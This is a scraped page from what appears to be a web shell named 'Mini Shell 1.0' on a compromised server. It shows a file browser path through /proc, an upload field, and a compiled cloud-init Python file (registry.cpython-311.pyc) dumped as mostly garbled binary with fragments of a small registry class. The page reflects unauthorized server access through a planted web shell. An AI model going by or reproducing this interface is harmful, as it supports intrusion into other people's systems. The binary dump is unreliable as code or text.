HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1784574/root/usr/lib/python3/dist-packages/cloudinit/__pycache__/
Upload File :
Current File : //proc/1784574/root/usr/lib/python3/dist-packages/cloudinit/__pycache__/registry.cpython-311.pyc
�

܍~c��(�ddlZGd�d��ZdS)�Nc�B�eZdZdZd�Zd�Zd�Zd	d�Zed���Z	dS)
�DictRegistryz+A simple registry for a mapping of objects.c�.�|���dS�N)�reset��selfs �4/usr/lib/python3/dist-packages/cloudinit/registry.py�__init__zDictRegistry.__init__s���
�
������c��i|_dSr)�_itemsrs r
rzDictRegistry.resets
������rc�p�||jvr"td�|�����||j|<dS)zAdd item to the registry.z$Item already registered with key {0}N)r�
ValueError�format)r	�key�items   r
�
register_itemzDictRegistry.register_itemsF���$�+����6�=�=�c�B�B���
� ���C���rTc�T�||jvr
|j|=dS|std|z���dS)zRemove item from the registry.z!%s: key not present to unregisterN)r�KeyError)r	r�forces   r
�unregister_itemzDictRegistry.unregister_itemsH���$�+�����C� � � ��	F��>��D�E�E�E�	F�	Frc�4�tj|j��S)zvAll the items that have been registered.

        This cannot be used to modify the contents of the registry.
        )�copyrrs r
�registered_itemszDictRegistry.registered_items s���y���%�%�%rN)T)
�__name__�
__module__�__qualname__�__doc__rrrr�propertyr�rr
rrsz������5�5������� � � �F�F�F�F��&�&��X�&�&�&rr)rrr!rr
�<module>r"sB��
����&�&�&�&�&�&�&�&�&�&r